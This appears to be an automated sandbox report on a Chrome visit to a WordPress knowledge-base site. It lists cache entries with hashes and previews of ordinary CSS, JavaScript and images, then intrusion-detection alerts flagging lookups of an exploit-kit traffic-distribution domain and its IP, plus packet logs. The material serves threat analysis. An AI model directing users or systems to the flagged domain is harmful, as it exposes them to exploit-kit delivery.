SSDEEP:	1536:CY9bVl6ULOi2f5ym5s3NnNOlYAmk+oRo1l9X+VJ4161fZ9+597l6DoR+s/OzuPPr:7xr
MD5:	3A8CA5BAB7B823875C3A70012893D0F6
SHA1:	F044270EFDE1876DA5B5583EFE7C33F3E439DF72
SHA-256:	072799C158A63F494ABFBB8C4A0A7F1322029D531192C34092B88DDFDF693B2D
SHA-512:	62C228E32306034F2817C507CD5818A0F2898628BA40E86FC93196DE5378CE88764434F801842C7589C577A8F53BE68FC90199438C11FF3C650F4318BE13D835
Malicious:	false
Reputation:	low
URL:	"https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/components/style.min.css,qver=6.2.6.pagespeed.ce.Ooylure4I4.css"
Preview:	@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__appear{animation-delay:0s;animation-duration:1ms}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top left}.components-animate__appear.is-from-top.is-from-right{transform-origin:top right}.components-animate__appear.is-from-bottom,.components-animate__appear.is

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x89, components 3
Category:	downloaded
Size (bytes):	8767
Entropy (8bit):	3.5713658907918635
Encrypted:	false
SSDEEP:	96:1QVLpkITk0jsFbEy5RsWO9py+tCQPfSqBo:18kakaObEAs1i+tvPTBo
MD5:	35219DBF858F349CF5F065704A80F5B0
SHA1:	44B911412DCE654512E4D7E1A4037E27B2712767
SHA-256:	2199B7A3643B60186D2B41EF4A471186AA5C83C67E0FF9D0C54B02BDDD329DAB
SHA-512:	A6315DD3B754BD7598B8EA08F522787E34EE11533F6FAE1A42FEE5314783F36252876D556EC4379741527F0E379531B9E82038E1DEF668ECDCDF91CC04D88352
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1110
Entropy (8bit):	4.857810668738806
Encrypted:	false
SSDEEP:	24:2dtX915XFRLFlNLT9o/LLkIvLTX5RLFlNLTn:cp7bRRnK/LbBRRnf
MD5:	0EAD521CBEA2703448D0AE6A03136E03
SHA1:	01462F14D34F9D6EA2FCD6A5B172CE537A669085
SHA-256:	ACC022D7D1F51A1A64CA90354B32077C1A573DF840E852B5B7B9EB72808CC203
SHA-512:	D5E0F3BE0BE0C267474E955AF63F1313336E3253A045B0E9C8FF0720673A9461A5B5E2AFF38C502B84D83A302D6C968A6E75F740376C9C09D0114BF2DB2B20D8
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg width="120" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120 30" height="30">. <circle cy="15" cx="15" r="15">. <animate begin="0s" from="15" calcMode="linear" repeatCount="indefinite" attributeName="r" to="15" values="15;9;15" dur="0.8s"/>. <animate begin="0s" from="1" calcMode="linear" repeatCount="indefinite" attributeName="fill-opacity" to="1" values="1;.5;1" dur="0.8s"/>. </circle>. <circle cy="15" cx="60" r="9" fill-opacity=".3">. <animate begin="0s" from="9" calcMode="linear" repeatCount="indefinite" attributeName="r" to="9" values="9;15;9" dur="0.8s"/>. <animate begin="0s" from="0.5" calcMode="linear" repeatCount="indefinite" attributeName="fill-opacity" to="0.5" values=".5;1;.5" dur="0.8s"/>. </circle>. <circle cy="15" cx="105" r="15">. <animate begin="0s" from="15" calcMode="linear" repeatCount="indefinite" attributeName="r" to="15" values="15;9;15" dur="0.8s"/>. <animate begin="0s" from="1" calcMode="linear

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	72814
Entropy (8bit):	5.041091995611715
Encrypted:	false
SSDEEP:	768:Tl7YUI2pHpBp47pwp0Q5jQQAMcMR9XZxOA2RpVplublqLW6vZ2jfulL2uEEGQ3D/:p7rAMcMzXxz6vZ2jfulL2upwi/3daM
MD5:	F76097F180042B1B7563EF32A061F5A7
SHA1:	2E0EB213CC70D923CF84355D9A51A8627653E6BC
SHA-256:	4E56C52162CBD22DDF641B000D5775D37BA8785A3297E64D9C233553C4C93AB0
SHA-512:	B010189429AF94BFEBA32594DB96880FC96090D8D8EE530B0CB49A59C229DE347069EFE91183D1B04AE92BEBF36417CE340D304F2FED76863413BAC5CFDAF80A
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/css/style.css?ver=1.15.4
Preview:	..ht-postlist,.gallery,.hts-tabs .hts-tabs__content,.hts-tabs .hts-tabs__nav,.hts-tabs,.hts-accordion,.hts-toggle,.ht-transferbox,.ht-comment .ht-comment__content,.ht-comment,.ht-pagination,.hkb-article-author,.hkb-article-attachment__link,.hkb-article-attachments,.hkb-breadcrumbs,.ht-pageheader,.hkb-feedback .ht-voting-links,.hkb-feedback,.ht-articlelist,.ht-page,.site-footer .nav-footer ul,.site-footer,.site-header .site-header__posts,.site-header .site-header__search,.site-header .site-header__banner,.site-header{*zoom:1}.ht-postlist::before,.gallery::before,.hts-tabs .hts-tabs__content::before,.hts-tabs .hts-tabs__nav::before,.hts-tabs::before,.hts-accordion::before,.hts-toggle::before,.ht-transferbox::before,.ht-comment .ht-comment__content::before,.ht-comment::before,.ht-pagination::before,.hkb-article-author::before,.hkb-article-attachment__link::before,.hkb-article-attachments::before,.hkb-breadcrumbs::before,.ht-pageheader::before,.hkb-feedback .ht-voting-links::before,.hkb-

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HTL:zL
MD5:	C78FC4C73991971736F95F00B7C09E4F
SHA1:	2BFE006346297E446B58308E3F37169A4BC29046
SHA-256:	C70E533105E5FE64092A52295354E975F8D6DDF470DA3F7AE4A6D4F3FC915283
SHA-512:	5F85D1EA2C4DB38DF3A6FC5414C03EDA186CF86A84F9D0E4C37053791060936B486A0493B54010319FCBA943ED4E95F58045C3EDD135952E69CED9EE87BD21F0
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIZCStPzhmvoC98EgUNu1dWaiGVY2GXQxov4A==?alt=proto
Preview:	CgkKBw27V1ZqGgA=

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x100, components 1
Category:	dropped
Size (bytes):	8569
Entropy (8bit):	3.4337218604192428
Encrypted:	false
SSDEEP:	48:1EunNnKkh3qk/3s403qk0eQs2QqoOX3pwSEovhDJQv4Ig264+Tb3FXsG:1Eu0pkJTk0jsFU31Eoyv+nTb5D
MD5:	71BF323973C512AFA6B7F683BB3A6A1E
SHA1:	892CF9A1E1763C3B912FED31F67232298774F659
SHA-256:	15E5BE4792910E06D3F7743FEBB5D4B16695E0D7C19C45BE31CD6C1D547A336B
SHA-512:	73D0DDD64BE7FAB62BDC5E566C240566CBB8171BA017F37894037D101E4F74E7A7BEC03177C38DAB6DA096BE7BCB9475F9BF4267CDC6D68378F541AA71C4257C
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3963
Entropy (8bit):	4.933621046943583
Encrypted:	false
SSDEEP:	96:0YxWyrBhFmj6xBeyowQn3AcTLcbdPVcXU2I:0YxWythFmj6veyWQc0dVcXUJ
MD5:	AC53F7A0D52D98CFA7A36B2293191C1A
SHA1:	A119B97C02FE5D3FA58E204604C0E9C6F84A5FD8
SHA-256:	6AEE809C4DD7937385C9CC9C76599E7D090761C1BD4F17E942069572B8290508
SHA-512:	0A2E1A3F69D3721FDF767A925D5663C8C0D86D45F18DFEFC19C9FF6D623B29D612DC148CEFE846919DB014FC67E2095FAE2E569678657919D04151447BB2B2DB
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.js?ver=344
Preview:	jQuery( function ($) {...$.fn.searchable = function () {....const self = this;....const searchField = $( this ).find( '[data-role="hg-search-input"]' );....const glossaryItems = $( this ).find( '[data-role="hg-item"]' );....const hgSections = $( this ).find( '[data-role="hg-section"]' );....const hgNav = $( this ).find( '[data-role="hg-nav-selectable"]');......searchField.on( "input", function () {.....var value = $( this ).......val().......toLowerCase();.......hgSections.attr('data-has-filtered-items', false);.......hgNav.removeClass('htgb_active_nav');.......glossaryItems.filter( function () {......var item = this;......//compute whether this should be displayed......var display = $( item ).........find( "[data-role]" ).........text().........toLowerCase().........indexOf( value ) > -1;........$( item ).toggle( display );........//if display set flag on section......if(display){.......$( item ).parent('[data-role="hg-section"]').attr('data-has-filtered-items', true);......}.....} );

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17948), with no line terminators
Category:	downloaded
Size (bytes):	17980
Entropy (8bit):	4.945004533192198
Encrypted:	false
SSDEEP:	384:+CBlOCmRvDTX6XVFVl+egKL/qm4tfxlbRoDWxPxem7Qt5HhBwJUrO6++:+jCAUrv
MD5:	50FF89B109E533EAB1BE862772F1EAF5
SHA1:	96EC3A5A8A806909C24AC6EEC0308549C425DA4E
SHA-256:	ED852397438AAF550AF851196EC9B93418CAF8B12B1ACAC0C6BB371265F0602C
SHA-512:	AC9B6990EC17CB7689B7526A350C5852E5CA22C9F18F08DD9160E9042A9DAEC282FE34D4335AFF8446D76B1A9E3368A028833EE6A1ED67DB3EB08A43ADB7BF6C
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/editor/style.min.css?ver=6.2.6
Preview:	@charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.editor-autocompleters__user .editor-autocompleters__no-avatar:before{content:".";font:normal 20px/1 dashicons;margin-right:5px;vertical-align:middle}.editor-autocompleters__user .editor-autocompleters__user-avatar{flex-grow:0;flex-shrink:0;height:24px;margin-right:8px;max-width:none;width:24px}.editor-autocompleters__user .editor-autocompleters__user-name{flex-grow:1;flex-shrink:0;max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-autocompleters__user .editor-autocompleters__use

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 45 x 43, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	1209
Entropy (8bit):	7.798446494017567
Encrypted:	false
SSDEEP:	24:+USLFSrM/uMNAhLlkQTLPfc9e7/jL+A5ZTo6kQVhS1rKkPCeot6KwCwVLzXAkbSo:+USp3gLlFUe3aAr86/fIYwzCwpXAkB
MD5:	7FE20D30624F147E52C5D7231D0E7EFE
SHA1:	64E120D8BEE419FCFBFF7AA22E7C38CF41EB9B5D
SHA-256:	5E5E6C7E53FF1CC0CC30BDFC21AF46F47CC0148D103AAC3E0B5F09AD71B0CA3D
SHA-512:	DE9734802C9B2F4861C9E6B93CD247F3ABDD5F526BBF65AF9452AFC56DD956070D4D998AF034E6D8647AB6C392BF5CEE490E9B86272AEFC6CCE3E3847D527805
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2021/02/favicom.png
Preview:	.PNG........IHDR...-...+.....c!......sBIT.....O....qIDATX..?l.V.._.....G...a.o........l8KN.m R&...cO!...p,U......6......O9..Q-Q2...xq=......l.K.....{.....{.....p}}.>.}._.....K.....g.P<.ci.f.C..a8\....G.z.z.D..MR....D....4...W~....=...&.C..\e}%..u..jf6..H...izY7/)....._...V....D..<d>B...j....G;.'?...\|......ftn.......F{8.D..?YA.]..+?4C...J..BNG........5......0.....ho3.o~4n.i.. $E-5..z......d.-~<.3.q1Z.9b~/j.'.z....:i.(L.N...s..$.Q.nIQw;.:SY_........D9SoI.i...7..^...L..<N+..D......!4..N.!.L...E..d..~q...IRT.....G%..w.....<.+.M...p9....??...JG.1?.c........8j..Q....2{=<G..F.0..xrW.j.Y.....O....8...A.i....D..8..5......:..8.....n..e.4:S;:5+B........A.9.X.....Jj....e....N.V~<..../q...D...].....4..M...<..8MFI..+P.[.w:.`/...m.0...a\h..:Sc21...c~/.j...>..o.....R.......r.E..k........s...\|....Ll..V~.OC..pG$E.ht..6..a.....F......Yt.X...h$K..&.F..B..v..A.B_.. ...[.=..B..][...`.w.&.x..7-...$E.._`..]..g.CR....*........l.r..5..\|h......}6DO>... ..

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 100x100, components 1
Category:	dropped
Size (bytes):	6836
Entropy (8bit):	5.367947747444129
Encrypted:	false
SSDEEP:	96:ULM7SpqUd6LSLC1GaNxSxO0xPlXs3HejJ6CGwxm8ejZCABMDKMi:Bs5acxdXs3I5m8e1CyMni
MD5:	62E7347B9CFF9DB7E244F2A56126CF67
SHA1:	019E1C8DBBEC8B8E5B1EAABEC1AE32ABFFDF2832
SHA-256:	6403EA3C18C2148C7A2D574F5A0ECFED71458C07E352EB2DBAD1445D9E317876
SHA-512:	45A208344D5C00CF24ADF78974D1E355CD84479B78E761F1589D6DD3580EDE6DFD26A4020EDAD068DECFE20AD8D90515B0FFDF73621C183FE1E3009027CDC7D0
Malicious:	false
Reputation:	low
Preview:	......JFIF.....,.,......Exif..MM.*.............................V...........^.(.......................i.........f.......,.......,..............0210....................0100..........................................vPhotoshop 3.0.8BIM.......Y.....symbol,auto,correct,arrow,simple,research,approved,automation,safety,checkmark,calculate,generate,element,app,check,tick,analysis,done,quality,system,success,sensor,icon,update,smart,reload,audit,design,certified,vector,successful,process,restart,subscribe,approval,yes,rotation,automatic,refresh,security confirmed,technology,confirm,schedule,cyber,spin,progress,renew,choice,mark,statistics..i.EAutomatic,Self,Vector,Icon.,Isolated,Auto,Generation,Tick,Sign,Design..n..Shutterstock..s..Shutterstock..t.ECopyright (c) 2021 12design/Shutterstock. No use without permission......1919311319...........Mhttp://ns.adobe.com/xap/1.0/.<?xpacket begin='.' id='W5M0MpCehiHzreSzNTczkc9d'?>.<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.38'>.<r

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (813), with no line terminators
Category:	downloaded
Size (bytes):	813
Entropy (8bit):	4.837340374117735
Encrypted:	false
SSDEEP:	24:2Q+XGRWw10NJpnGVb0cfGdJj3Fo+tA6HGJGpS:DwvEb0cud1WUH7S
MD5:	947970E6ECB71B82171F7D92BBEA3B78
SHA1:	5CC23D0DA200117AD90CCD5080F690190FE28B44
SHA-256:	423C6AEFB9A5DB8B5DAFCC87DC40273A410F7C8F73BDEDB3B47926948C4A13F6
SHA-512:	16064ED232F157AD1024D27C5C9BADC955E5E2CE074CF70B1EEB97B86CF2101AE6CB2CB9351057885024D06B9DE0062555D6F3328FA90BDA2842497ED98F2AC7
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/script.min.js?ver=1680234601
Preview:	(function(){"use strict";var t=function(){var t=document.getElementsByClassName("htoc__toggle");e(t)};var a=function(t,e){return t.className.split(" ").indexOf(e)>-1};var r=function(t){var e;var n=t.currentTarget.parentNode.parentNode;if(!n){return false}if(!a(n,"htoc")){return false}e=i(n);if(e){c(n)}else{o(n)}return true};var o=function(t){t.setAttribute("data-htoc-state","expanded")};var c=function(t){t.setAttribute("data-htoc-state","closed")};var i=function(t){return t.getAttribute("data-htoc-state")==="expanded"};var e=function(e){var t=0;var n=e.length;for(;t<n;t++){(function(t){e[t].addEventListener("click",r)})(t)}};var n=function(t){var e=document.readyState==="complete"\|\|document.readyState==="interactive";if(e){setTimeout(t,1)}else{document.addEventListener("DOMContentLoaded",t)}};n(t)})();

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2281)
Category:	downloaded
Size (bytes):	2811
Entropy (8bit):	5.028480199625537
Encrypted:	false
SSDEEP:	48:6Ga2b2IyZQkEDV46D0SzTFmDHG5Yeunz8VDSN+uM/Pv7ndpndbuxXoNdpaXoNdbI:tyWFJ4+0SzTUTmYhnz8dSNBMjf4ZolG1
MD5:	6DE462200F9E8D14BCCB3FA82C24DBEB
SHA1:	5A4B926DD36A0A95B281C0C2CF137F2EDB354532
SHA-256:	05515F88D6473791CC2F54474A737327181CA00C0705FF3FDAD4E54D752E2EDA
SHA-512:	356A711763D842DBB3F8616E2DC8CD4B789B8D6184C2777A7B51C67C70F799D7D25245E6E8B18A7D891F8C93D70C05E58A69EA24C0AA3C262B8FEE4C979824BA
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/nux/style.min.css?ver=6.2.6
Preview:	:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite;background:rgba(0,115,156,.9);height:24px;left:-12px;opacity:.9;top:-12px;transform:scale(.3333333333);width:24px}.nux-dot-tip:after{background:#00739c;height:8px;left:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:rgba(0,115,156,0);transform:scale(1)}}.nux-dot-tip .components-popover__content{padding:20px 18px;width:350px}@medi

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	258
Entropy (8bit):	4.412023623447299
Encrypted:	false
SSDEEP:	6:SEwJF9YT2KMEwJFOWEgmzJEwJFOWErJoJEWTWUqV9:fdWEgmQWEdfDV9
MD5:	886011711AE972CD8472EEF5EBA5C298
SHA1:	6E52E59DFCBE911B4AB1A69036E1E3B930030C7E
SHA-256:	4B9257E3E9C959214DDFAB833A69A021AE6557403EFE76AFCBEE259621175274
SHA-512:	5E17E37F001B253F9D78CFB212966299D30F99494A36580447D2A420A19C32F0D7C629E3081B9A7A8C5D63AC263A47FD907AD24C9642A66558C790D2F4B6B4D6
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1
Preview:	.wpml-ls-menu-item .wpml-ls-flag{display:inline;vertical-align:baseline}.wpml-ls-menu-item .wpml-ls-flag+span{margin-left:.3em}.rtl .wpml-ls-menu-item .wpml-ls-flag+span{margin-left:0;margin-right:.3em}ul .wpml-ls-menu-item a{display:flex;align-items:center}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13326)
Category:	downloaded
Size (bytes):	13424
Entropy (8bit):	5.261709214397548
Encrypted:	false
SSDEEP:	192:arprDN+e3IUefKSfI0bP1CMjt9kdgOFWIa/aC3+sZv9LRM:arprx6PfK2P1CMjt8FWIa2sZVi
MD5:	5CFA2B481DE6E87C2190A0E3538515D8
SHA1:	0FCCF3C8AB2C10B4DCC7970E64CE997AB1622F68
SHA-256:	9810AEE7E6D57D8CCEAA96322B88E6DF46710194689AE12B284149148CABC2F3
SHA-512:	51C4C1DBAF330EA0F6852659CB0FE53434F6ED64460D6039921DD8E82F7A0663EEBFB7377DC7E12827D77FF31A5AFEE964EEA91DA8C75FA942ACF6D596EF430F
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0
Preview:	/! jQuery Migrate v3.4.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],a=1;a<=3;a++){if(+n[a]>+o[a])return 1;if(+n[a]<+o[a])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.4.0";var t=Object.create(null),o=(s.migrateDisablePatches=function(){for(var e=0;e<arguments.length;e++)t[arguments[e]]=!0},s.migrateEnablePatches=function(){for(var e=0;e<arguments.length;e++)delete t[arguments[e]]},s.migrateIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3358), with no line terminators
Category:	downloaded
Size (bytes):	3358
Entropy (8bit):	5.136226662162221
Encrypted:	false
SSDEEP:	48:aJpmdqc8+NxfrIVk5vVttX4atyHR4/tZWElRM3MQMi5M2aMpMIincOBNN6OJfgVq:aS9y65vJX4atuR4/tZBsBaIicG4cYVq
MD5:	508A174C5B7542E4ADF9ACCBA2304F5B
SHA1:	1C4F8EC5923AA31750EF43D9AF2DB69315C8A80C
SHA-256:	DF849E45B8FCDB0052313F1672CD53BB514AC687570A163CDFC72924FB2B5CEA
SHA-512:	19E81BBE03AA49F3384748015E876EB15E71A0C4EDEA4841D796889D1B24807292C71EABEC4AA783DABF8BA8EDD2D2AF302DCF8E2BBAE81EF13E59A443C87E26
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js?ver=1681771414
Preview:	!function(t){var e={};function n(i){if(e[i])return e[i].exports;var r=e[i]={i:i,l:!1,exports:{}};return t[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=t,n.c=e,n.d=function(t,e,i){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:i})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var i=Object.create(null);if(n.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var r in t)n.d(i,r,function(e){return t[e]}.bind(null,r));return i},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=7)}([function(t,e){jQuery.fn.htImageZoom=function(){return this.each(function(){console.log("

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 77x100, components 1
Category:	downloaded
Size (bytes):	8916
Entropy (8bit):	3.7162858899422764
Encrypted:	false
SSDEEP:	96:1whPpklTk0jsFQHVoRQYtRbjTEBPa8gAjGgn:14khkaOKVRAXoha8gAGc
MD5:	950EBEF65ABE49A58E19E67E23567C9A
SHA1:	443AC8D98A32AB2FE9893AEE3A4F463B8012AF7D
SHA-256:	8919CD355CE26C874F29102F4DE9004A7E9F7FFE278C96F92771F514A92227E6
SHA-512:	61EDE31B59E355FD5506EB9BAAD7EC0975054A4C665220E06B5082EFDE56E63C0D6A3057A8D42ED461BBBF8FBEE5B2CF8277F2F125B2F2FE259FB43304675F20
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-15T16:03:05.520422+0200	2061092	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com)	1	192.168.2.16	53738	1.1.1.1	53	UDP
2025-04-15T16:03:05.520422+0200	2061094	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com)	1	192.168.2.16	53738	1.1.1.1	53	UDP
2025-04-15T16:03:05.520645+0200	2061092	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com)	1	192.168.2.16	55524	1.1.1.1	53	UDP
2025-04-15T16:03:05.520645+0200	2061094	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (javascripterhub .com)	1	192.168.2.16	55524	1.1.1.1	53	UDP
2025-04-15T16:03:06.949690+0200	2061098	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (javascripterhub .com)	1	192.168.2.16	49720	193.46.217.168	443	TCP
2025-04-15T16:03:06.949690+0200	2061100	ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (javascripterhub .com)	1	192.168.2.16	49720	193.46.217.168	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2025 16:03:03.802273989 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.802324057 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:03.802416086 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.802601099 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.802612066 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:03.803447962 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.803499937 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:03.805530071 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.805583954 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:03.805608988 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.364106894 CEST	443	49704	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.364190102 CEST	49704	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.365014076 CEST	443	49705	204.41.1.85	192.168.2.16
Apr 15, 2025 16:03:04.365144968 CEST	49705	443	192.168.2.16	204.41.1.85
Apr 15, 2025 16:03:04.365437984 CEST	49704	443	192.168.2.16	204.41.1.85
